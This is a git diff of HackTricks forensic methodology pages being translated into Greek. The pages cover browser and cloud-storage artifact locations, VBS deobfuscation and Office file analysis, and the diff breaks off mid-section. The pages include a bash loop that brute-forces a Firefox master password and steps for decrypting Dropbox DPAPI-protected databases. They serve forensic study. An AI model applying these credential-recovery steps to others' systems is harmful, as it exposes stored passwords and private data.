σχετικά με εγκατεστημένα πρόσθετα και επεκτάσεις. +- **cookies.sqlite**: Αποθήκευση cookies, με το [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) διαθέσιμο για επιθεώρηση στα Windows. +- **cache2/entries** ή **startupCache**: Δεδομένα cache, προσβάσιμα μέσω εργαλείων όπως το [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). +- **favicons.sqlite**: Αποθηκεύει favicons. +- **prefs.js**: Ρυθμίσεις και προτιμήσεις χρήστη. +- **downloads.sqlite**: Παλιότερη βάση δεδομένων λήψεων, τώρα ενσωματωμένη στο places.sqlite. +- **thumbnails**: Μικρογραφίες ιστότοπων. +- **logins.json**: Κρυπτογραφημένες πληροφορίες σύνδεσης. +- **key4.db** ή **key3.db**: Αποθηκεύει κλειδιά κρυπτογράφησης για την ασφάλιση ευαίσθητων πληροφοριών. -Additionally, checking the browser’s anti-phishing settings can be done by searching for `browser.safebrowsing` entries in `prefs.js`, indicating whether safe browsing features are enabled or disabled. - -To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ -With the following script and call you can specify a password file to brute force: +Επιπλέον, η έρευνα για τις ρυθμίσεις κατά της απάτης του προγράμματος περιήγησης μπορεί να γίνει αναζητώντας τις εγγραφές `browser.safebrowsing` στο `prefs.js`, υποδεικνύοντας αν οι δυνατότητες ασφαλούς πλοήγησης είναι ενεργοποιημένες ή απενεργοποιημένες. +Για να προσπαθήσετε να αποκρυπτογραφήσετε τον κύριο κωδικό πρόσβασης, μπορείτε να χρησιμοποιήσετε [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ +Με το παρακάτω σενάριο και κλήση μπορείτε να καθορίσετε ένα αρχείο κωδικού πρόσβασης για brute force: ```bash:brute.sh #!/bin/bash #./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" passfile=$1 while read pass; do - echo "Trying $pass" - echo "$pass" | python firefox_decrypt.py +echo "Trying $pass" +echo "$pass" | python firefox_decrypt.py done < $passfile ``` - ![](<../../../images/image (692).png>) ## Google Chrome -Google Chrome stores user profiles in specific locations based on the operating system: +Ο Google Chrome αποθηκεύει τα προφίλ χρηστών σε συγκεκριμένες τοποθεσίες ανάλογα με το λειτουργικό σύστημα: - **Linux**: `~/.config/google-chrome/` - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` -Within these directories, most user data can be found in the **Default/** or **ChromeDefaultData/** folders. The following files hold significant data: +Μέσα σε αυτούς τους καταλόγους, τα περισσότερα δεδομένα χρηστών μπορούν να βρεθούν στους φακέλους **Default/** ή **ChromeDefaultData/**. Τα παρακάτω αρχεία περιέχουν σημαντικά δεδομένα: -- **History**: Contains URLs, downloads, and search keywords. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) can be used to read the history. The "Transition Type" column has various meanings, including user clicks on links, typed URLs, form submissions, and page reloads. -- **Cookies**: Stores cookies. For inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) is available. -- **Cache**: Holds cached data. To inspect, Windows users can utilize [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). -- **Bookmarks**: User bookmarks. -- **Web Data**: Contains form history. -- **Favicons**: Stores website favicons. -- **Login Data**: Includes login credentials like usernames and passwords. -- **Current Session**/**Current Tabs**: Data about the current browsing session and open tabs. -- **Last Session**/**Last Tabs**: Information about the sites active during the last session before Chrome was closed. -- **Extensions**: Directories for browser extensions and addons. -- **Thumbnails**: Stores website thumbnails. -- **Preferences**: A file rich in information, including settings for plugins, extensions, pop-ups, notifications, and more. -- **Browser’s built-in anti-phishing**: To check if anti-phishing and malware protection are enabled, run `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Look for `{"enabled: true,"}` in the output. +- **History**: Περιέχει URLs, λήψεις και λέξεις-κλειδιά αναζήτησης. Στα Windows, μπορεί να χρησιμοποιηθεί το [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) για να διαβαστεί το ιστορικό. Η στήλη "Transition Type" έχει διάφορες σημασίες, συμπεριλαμβανομένων των κλικ χρηστών σε συνδέσμους, πληκτρολογημένων URLs, υποβολών φορμών και ανανεώσεων σελίδων. +- **Cookies**: Αποθηκεύει cookies. Για επιθεώρηση, είναι διαθέσιμο το [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html). +- **Cache**: Περιέχει δεδομένα cache. Για επιθεώρηση, οι χρήστες Windows μπορούν να χρησιμοποιήσουν το [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). +- **Bookmarks**: Σελιδοδείκτες χρηστών. +- **Web Data**: Περιέχει ιστορικό φορμών. +- **Favicons**: Αποθηκεύει τα favicons ιστοσελίδων. +- **Login Data**: Περιλαμβάνει διαπιστευτήρια σύνδεσης όπως ονόματα χρηστών και κωδικούς πρόσβασης. +- **Current Session**/**Current Tabs**: Δεδομένα σχετικά με την τρέχουσα συνεδρία περιήγησης και τις ανοιχτές καρτέλες. +- **Last Session**/**Last Tabs**: Πληροφορίες σχετικά με τους ιστότοπους που ήταν ενεργοί κατά την τελευταία συνεδρία πριν κλείσει ο Chrome. +- **Extensions**: Κατάλογοι για επεκτάσεις και addons του προγράμματος περιήγησης. +- **Thumbnails**: Αποθηκεύει μικρογραφίες ιστοσελίδων. +- **Preferences**: Ένα αρχείο πλούσιο σε πληροφορίες, συμπεριλαμβανομένων ρυθμίσεων για plugins, επεκτάσεις, αναδυόμενα παράθυρα, ειδοποιήσεις και άλλα. +- **Browser’s built-in anti-phishing**: Για να ελέγξετε αν είναι ενεργοποιημένη η προστασία κατά του phishing και του κακόβουλου λογισμικού, εκτελέστε `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Αναζητήστε `{"enabled: true,"}` στην έξοδο. ## **SQLite DB Data Recovery** -As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). +Όπως μπορείτε να παρατηρήσετε στις προηγούμενες ενότητες, τόσο ο Chrome όσο και ο Firefox χρησιμοποιούν **SQLite** βάσεις δεδομένων για να αποθηκεύσουν τα δεδομένα. Είναι δυνατόν να **ανακτηθούν διαγραμμένες εγγραφές χρησιμοποιώντας το εργαλείο** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ή** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). ## **Internet Explorer 11** -Internet Explorer 11 manages its data and metadata across various locations, aiding in separating stored information and its corresponding details for easy access and management. +Ο Internet Explorer 11 διαχειρίζεται τα δεδομένα και τα μεταδεδομένα του σε διάφορες τοποθεσίες, διευκολύνοντας τη διαχωριστική αποθήκευση των πληροφοριών και των αντίστοιχων λεπτομερειών για εύκολη πρόσβαση και διαχείριση. ### Metadata Storage -Metadata for Internet Explorer is stored in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (with VX being V01, V16, or V24). Accompanying this, the `V01.log` file might show modification time discrepancies with `WebcacheVX.data`, indicating a need for repair using `esentutl /r V01 /d`. This metadata, housed in an ESE database, can be recovered and inspected using tools like photorec and [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectively. Within the **Containers** table, one can discern the specific tables or containers where each data segment is stored, including cache details for other Microsoft tools such as Skype. +Τα μεταδεδομένα για τον Internet Explorer αποθηκεύονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (με το VX να είναι V01, V16 ή V24). Μαζί με αυτό, το αρχείο `V01.log` μπορεί να δείξει διαφορές χρόνου τροποποίησης με το `WebcacheVX.data`, υποδεικνύοντας την ανάγκη επισκευής χρησιμοποιώντας `esentutl /r V01 /d`. Αυτά τα μεταδεδομένα, που φιλοξενούνται σε μια βάση δεδομένων ESE, μπορούν να ανακτηθούν και να επιθεωρηθούν χρησιμοποιώντας εργαλεία όπως το photorec και το [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), αντίστοιχα. Μέσα στον πίνακα **Containers**, μπορεί κανείς να διακρίνει τους συγκεκριμένους πίνακες ή κοντέινερ όπου αποθηκεύεται κάθε τμήμα δεδομένων, συμπεριλαμβανομένων των λεπτομερειών cache για άλλα εργαλεία της Microsoft όπως το Skype. ### Cache Inspection -The [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) tool allows for cache inspection, requiring the cache data extraction folder location. Metadata for cache includes filename, directory, access count, URL origin, and timestamps indicating cache creation, access, modification, and expiry times. +Το εργαλείο [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) επιτρέπει την επιθεώρηση της cache, απαιτώντας την τοποθεσία εξαγωγής των δεδομένων cache. Τα μεταδεδομένα για την cache περιλαμβάνουν το όνομα αρχείου, τον κατάλογο, τον αριθμό πρόσβασης, την προέλευση URL και χρονικές σφραγίδες που υποδεικνύουν τους χρόνους δημιουργίας, πρόσβασης, τροποποίησης και λήξης της cache. ### Cookies Management -Cookies can be explored using [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), with metadata encompassing names, URLs, access counts, and various time-related details. Persistent cookies are stored in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, with session cookies residing in memory. +Τα cookies μπορούν να εξερευνηθούν χρησιμοποιώντας το [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), με τα μεταδεδομένα να περιλαμβάνουν ονόματα, URLs, αριθμούς πρόσβασης και διάφορες λεπτομέρειες σχετικές με τον χρόνο. Τα μόνιμα cookies αποθηκεύονται στο `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, με τα session cookies να βρίσκονται στη μνήμη. ### Download Details -Downloads metadata is accessible via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), with specific containers holding data like URL, file type, and download location. Physical files can be found under `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. +Τα μεταδεδομένα λήψεων είναι προσβάσιμα μέσω του [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), με συγκεκριμένα κοντέινερ να περιέχουν δεδομένα όπως URL, τύπο αρχείου και τοποθεσία λήψης. Τα φυσικά αρχεία μπορούν να βρεθούν κάτω από `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. ### Browsing History -To review browsing history, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used, requiring the location of extracted history files and configuration for Internet Explorer. Metadata here includes modification and access times, along with access counts. History files are located in `%userprofile%\Appdata\Local\Microsoft\Windows\History`. +Για να αναθεωρήσετε το ιστορικό περιήγησης, μπορεί να χρησιμοποιηθεί το [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), απαιτώντας την τοποθεσία των εξαγόμενων αρχείων ιστορικού και τη ρύθμιση για τον Internet Explorer. Τα μεταδεδομένα εδώ περιλαμβάνουν χρόνους τροποποίησης και πρόσβασης, μαζί με αριθμούς πρόσβασης. Τα αρχεία ιστορικού βρίσκονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\History`. ### Typed URLs -Typed URLs and their usage timings are stored within the registry under `NTUSER.DAT` at `Software\Microsoft\InternetExplorer\TypedURLs` and `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracking the last 50 URLs entered by the user and their last input times. +Οι πληκτρολογημένες URLs και οι χρόνοι χρήσης τους αποθηκεύονται στο μητρώο κάτω από `NTUSER.DAT` στο `Software\Microsoft\InternetExplorer\TypedURLs` και `Software\Microsoft\InternetExplorer\TypedURLsTime`, παρακολουθώντας τις τελευταίες 50 URLs που εισήγαγε ο χρήστης και τους τελευταίους χρόνους εισόδου τους. ## Microsoft Edge -Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The paths for various data types are: +Ο Microsoft Edge αποθηκεύει τα δεδομένα χρηστών στο `%userprofile%\Appdata\Local\Packages`. Οι διαδρομές για διάφορους τύπους δεδομένων είναι: - **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` - **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` @@ -143,24 +133,24 @@ Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The p ## Safari -Safari data is stored at `/Users/$User/Library/Safari`. Key files include: +Τα δεδομένα του Safari αποθηκεύονται στο `/Users/$User/Library/Safari`. Κύρια αρχεία περιλαμβάνουν: -- **History.db**: Contains `history_visits` and `history_items` tables with URLs and visit timestamps. Use `sqlite3` to query. -- **Downloads.plist**: Information about downloaded files. -- **Bookmarks.plist**: Stores bookmarked URLs. -- **TopSites.plist**: Most frequently visited sites. -- **Extensions.plist**: List of Safari browser extensions. Use `plutil` or `pluginkit` to retrieve. -- **UserNotificationPermissions.plist**: Domains permitted to push notifications. Use `plutil` to parse. -- **LastSession.plist**: Tabs from the last session. Use `plutil` to parse. -- **Browser’s built-in anti-phishing**: Check using `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. A response of 1 indicates the feature is active. +- **History.db**: Περιέχει πίνακες `history_visits` και `history_items` με URLs και χρονικές σφραγίδες επισκέψεων. Χρησιμοποιήστε το `sqlite3` για να κάνετε ερωτήσεις. +- **Downloads.plist**: Πληροφορίες σχετικά με τα ληφθέντα αρχεία. +- **Bookmarks.plist**: Αποθηκεύει τα URLs των σελιδοδεικτών. +- **TopSites.plist**: Οι πιο συχνά επισκεπτόμενοι ιστότοποι. +- **Extensions.plist**: Λίστα με τις επεκτάσεις του προγράμματος περιήγησης Safari. Χρησιμοποιήστε το `plutil` ή το `pluginkit` για να ανακτήσετε. +- **UserNotificationPermissions.plist**: Τομείς που επιτρέπεται να στέλνουν ειδοποιήσεις. Χρησιμοποιήστε το `plutil` για να αναλύσετε. +- **LastSession.plist**: Καρτέλες από την τελευταία συνεδρία. Χρησιμοποιήστε το `plutil` για να αναλύσετε. +- **Browser’s built-in anti-phishing**: Ελέγξτε χρησιμοποιώντας `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Μια απάντηση 1 υποδεικνύει ότι η δυνατότητα είναι ενεργή. ## Opera -Opera's data resides in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` and shares Chrome's format for history and downloads. +Τα δεδομένα του Opera βρίσκονται στο `/Users/$USER/Library/Application Support/com.operasoftware.Opera` και μοιράζονται τη μορφή του Chrome για ιστορικό και λήψεις. -- **Browser’s built-in anti-phishing**: Verify by checking if `fraud_protection_enabled` in the Preferences file is set to `true` using `grep`. +- **Browser’s built-in anti-phishing**: Επαληθεύστε ελέγχοντας αν το `fraud_protection_enabled` στο αρχείο Preferences είναι ρυθμισμένο σε `true` χρησιμοποιώντας `grep`. -These paths and commands are crucial for accessing and understanding the browsing data stored by different web browsers. +Αυτές οι διαδρομές και οι εντολές είναι κρίσιμες για την πρόσβαση και την κατανόηση των δεδομένων περιήγησης που αποθηκεύονται από διάφορους ιστότοπους. ## References @@ -169,12 +159,5 @@ These paths and commands are crucial for accessing and understanding the browsin - [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) - **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index c22a6f566..04ed61d67 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -1,50 +1,42 @@ {{#include ../../../banners/hacktricks-training.md}} -Some things that could be useful to debug/deobfuscate a malicious VBS file: +Ορισμένα πράγματα που θα μπορούσαν να είναι χρήσιμα για την αποσφαλμάτωση/αποσυμπίεση ενός κακόβουλου αρχείου VBS: ## echo - ```bash Wscript.Echo "Like this?" ``` - -## Commnets - +## Σχόλια ```bash ' this is a comment ``` - -## Test - +## Δοκιμή ```bash cscript.exe file.vbs ``` - -## Write data to a file - +## Γράψτε δεδομένα σε ένα αρχείο ```js Function writeBinary(strBinary, strPath) - Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") +Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") - ' below lines purpose: checks that write access is possible! - Dim oTxtStream +' below lines purpose: checks that write access is possible! +Dim oTxtStream - On Error Resume Next - Set oTxtStream = oFSO.createTextFile(strPath) +On Error Resume Next +Set oTxtStream = oFSO.createTextFile(strPath) - If Err.number <> 0 Then MsgBox(Err.message) : Exit Function - On Error GoTo 0 +If Err.number <> 0 Then MsgBox(Err.message) : Exit Function +On Error GoTo 0 - Set oTxtStream = Nothing - ' end check of write access +Set oTxtStream = Nothing +' end check of write access - With oFSO.createTextFile(strPath) - .Write(strBinary) - .Close - End With +With oFSO.createTextFile(strPath) +.Write(strBinary) +.Close +End With End Function ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index f64869c3c..da0e21114 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -1,114 +1,97 @@ -# Local Cloud Storage +# Τοπική Αποθήκευση Cloud {{#include ../../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} ## OneDrive -In Windows, you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`. And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files: +Στα Windows, μπορείτε να βρείτε τον φάκελο OneDrive στο `\Users\\AppData\Local\Microsoft\OneDrive`. Και μέσα στον φάκελο `logs\Personal` είναι δυνατόν να βρείτε το αρχείο `SyncDiagnostics.log` το οποίο περιέχει ορισμένα ενδιαφέροντα δεδομένα σχετικά με τα συγχρονισμένα αρχεία: -- Size in bytes -- Creation date -- Modification date -- Number of files in the cloud -- Number of files in the folder -- **CID**: Unique ID of the OneDrive user -- Report generation time -- Size of the HD of the OS +- Μέγεθος σε bytes +- Ημερομηνία δημιουργίας +- Ημερομηνία τροποποίησης +- Αριθμός αρχείων στο cloud +- Αριθμός αρχείων στον φάκελο +- **CID**: Μοναδικό ID του χρήστη OneDrive +- Χρόνος δημιουργίας αναφοράς +- Μέγεθος του HD του λειτουργικού συστήματος -Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files synchronized with OneDrive. +Αφού βρείτε το CID, συνιστάται να **αναζητήσετε αρχεία που περιέχουν αυτό το ID**. Μπορεί να μπορέσετε να βρείτε αρχεία με το όνομα: _**\.ini**_ και _**\.dat**_ που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες όπως τα ονόματα των αρχείων που συγχρονίστηκαν με το OneDrive. ## Google Drive -In Windows, you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\ -This folder contains a file called Sync_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files, etc. Even deleted files appear in that log file with its corresponding MD5. +Στα Windows, μπορείτε να βρείτε τον κύριο φάκελο Google Drive στο `\Users\\AppData\Local\Google\Drive\user_default`\ +Αυτός ο φάκελος περιέχει ένα αρχείο που ονομάζεται Sync_log.log με πληροφορίες όπως τη διεύθυνση email του λογαριασμού, ονόματα αρχείων, χρονικές σφραγίδες, MD5 hashes των αρχείων, κ.λπ. Ακόμα και τα διαγραμμένα αρχεία εμφανίζονται σε αυτό το αρχείο καταγραφής με το αντίστοιχο MD5. -The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**. In this table you can find the **name** of the **synchronized** **files**, modified time, size, and the MD5 checksum of the files. +Το αρχείο **`Cloud_graph\Cloud_graph.db`** είναι μια βάση δεδομένων sqlite που περιέχει τον πίνακα **`cloud_graph_entry`**. Σε αυτόν τον πίνακα μπορείτε να βρείτε το **όνομα** των **συγχρονισμένων** **αρχείων**, την τροποποιημένη ώρα, το μέγεθος και το MD5 checksum των αρχείων. -The table data of the database **`Sync_config.db`** contains the email address of the account, the path of the shared folders and the Google Drive version. +Τα δεδομένα του πίνακα της βάσης δεδομένων **`Sync_config.db`** περιέχουν τη διεύθυνση email του λογαριασμού, τη διαδρομή των κοινών φακέλων και την έκδοση του Google Drive. ## Dropbox -Dropbox uses **SQLite databases** to manage the files. In this\ -You can find the databases in the folders: +Το Dropbox χρησιμοποιεί **βάσεις δεδομένων SQLite** για τη διαχείριση των αρχείων. Σε αυτό\ +Μπορείτε να βρείτε τις βάσεις δεδομένων στους φακέλους: - `\Users\\AppData\Local\Dropbox` - `\Users\\AppData\Local\Dropbox\Instance1` - `\Users\\AppData\Roaming\Dropbox` -And the main databases are: +Και οι κύριες βάσεις δεδομένων είναι: - Sigstore.dbx - Filecache.dbx - Deleted.dbx - Config.dbx -The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) +Η επέκταση ".dbx" σημαίνει ότι οι **βάσεις δεδομένων** είναι **κρυπτογραφημένες**. Το Dropbox χρησιμοποιεί **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) -To understand better the encryption that Dropbox uses you can read [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). +Για να κατανοήσετε καλύτερα την κρυπτογράφηση που χρησιμοποιεί το Dropbox, μπορείτε να διαβάσετε [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). -However, the main information is: +Ωστόσο, οι κύριες πληροφορίες είναι: - **Entropy**: d114a55212655f74bd772e37e64aee9b - **Salt**: 0D638C092E8B82FC452883F95F355B8E - **Algorithm**: PBKDF2 - **Iterations**: 1066 -Apart from that information, to decrypt the databases you still need: +Εκτός από αυτές τις πληροφορίες, για να αποκρυπτογραφήσετε τις βάσεις δεδομένων χρειάζεστε επίσης: -- The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary) -- The **`SYSTEM`** and **`SECURITY`** hives -- The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect` -- The **username** and **password** of the Windows user +- Το **κρυπτογραφημένο κλειδί DPAPI**: Μπορείτε να το βρείτε στο μητρώο μέσα στο `NTUSER.DAT\Software\Dropbox\ks\client` (εξάγετε αυτά τα δεδομένα ως δυαδικά) +- Τις **hives** **`SYSTEM`** και **`SECURITY`** +- Τα **master keys DPAPI**: Τα οποία μπορούν να βρεθούν στο `\Users\\AppData\Roaming\Microsoft\Protect` +- Το **όνομα χρήστη** και τον **κωδικό πρόσβασης** του χρήστη Windows -Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** +Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το εργαλείο [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** ![](<../../../images/image (443).png>) -If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber_chef receipt]() putting the primary key as the "passphrase" inside the receipt. - -The resulting hex is the final key used to encrypt the databases which can be decrypted with: +Αν όλα πάνε όπως αναμένεται, το εργαλείο θα υποδείξει το **κύριο κλειδί** που χρειάζεστε για να **ανακτήσετε το αρχικό**. Για να ανακτήσετε το αρχικό, απλώς χρησιμοποιήστε αυτή τη [συνταγή cyber_chef]() βάζοντας το κύριο κλειδί ως "passphrase" μέσα στη συνταγή. +Το προκύπτον hex είναι το τελικό κλειδί που χρησιμοποιείται για την κρυπτογράφηση των βάσεων δεδομένων που μπορεί να αποκρυπτογραφηθεί με: ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` +Η **`config.dbx`** βάση δεδομένων περιέχει: -The **`config.dbx`** database contains: +- **Email**: Το email του χρήστη +- **usernamedisplayname**: Το όνομα του χρήστη +- **dropbox_path**: Διαδρομή όπου βρίσκεται ο φάκελος dropbox +- **Host_id: Hash** που χρησιμοποιείται για την αυθεντικοποίηση στο cloud. Αυτό μπορεί να ανακληθεί μόνο από το διαδίκτυο. +- **Root_ns**: Αναγνωριστικό χρήστη -- **Email**: The email of the user -- **usernamedisplayname**: The name of the user -- **dropbox_path**: Path where the dropbox folder is located -- **Host_id: Hash** used to authenticate to the cloud. This can only be revoked from the web. -- **Root_ns**: User identifier +Η **`filecache.db`** βάση δεδομένων περιέχει πληροφορίες σχετικά με όλα τα αρχεία και τους φακέλους που συγχρονίζονται με το Dropbox. Ο πίνακας `File_journal` είναι αυτός με τις πιο χρήσιμες πληροφορίες: -The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information: +- **Server_path**: Διαδρομή όπου βρίσκεται το αρχείο μέσα στον διακομιστή (αυτή η διαδρομή προηγείται από το `host_id` του πελάτη). +- **local_sjid**: Έκδοση του αρχείου +- **local_mtime**: Ημερομηνία τροποποίησης +- **local_ctime**: Ημερομηνία δημιουργίας -- **Server_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client). -- **local_sjid**: Version of the file -- **local_mtime**: Modification date -- **local_ctime**: Creation date +Άλλοι πίνακες μέσα σε αυτή τη βάση δεδομένων περιέχουν πιο ενδιαφέρουσες πληροφορίες: -Other tables inside this database contain more interesting information: - -- **block_cache**: hash of all the files and folders of Dropbox -- **block_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal` -- **mount_table**: Share folders of dropbox -- **deleted_fields**: Dropbox deleted files +- **block_cache**: hash όλων των αρχείων και φακέλων του Dropbox +- **block_ref**: Συσχετίζει το hash ID του πίνακα `block_cache` με το ID του αρχείου στον πίνακα `file_journal` +- **mount_table**: Κοινόχρηστοι φάκελοι του dropbox +- **deleted_fields**: Διαγραμμένα αρχεία του Dropbox - **date_added** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 2e07c739d..f6df2a5db 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -1,36 +1,18 @@ -# Office file analysis +# Ανάλυση αρχείων Office {{#include ../../../banners/hacktricks-training.md}} -
+Για περισσότερες πληροφορίες, ελέγξτε [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Αυτό είναι απλώς μια σύνοψη: -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Η Microsoft έχει δημιουργήσει πολλούς τύπους εγγράφων office, με δύο κύριους τύπους να είναι οι **OLE formats** (όπως RTF, DOC, XLS, PPT) και οι **Office Open XML (OOXML) formats** (όπως DOCX, XLSX, PPTX). Αυτοί οι τύποι μπορούν να περιλαμβάνουν μακροεντολές, καθιστώντας τους στόχους για phishing και κακόβουλο λογισμικό. Τα αρχεία OOXML είναι δομημένα ως zip containers, επιτρέποντας την επιθεώρηση μέσω αποσυμπίεσης, αποκαλύπτοντας τη δομή αρχείων και φακέλων και το περιεχόμενο των αρχείων XML. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" 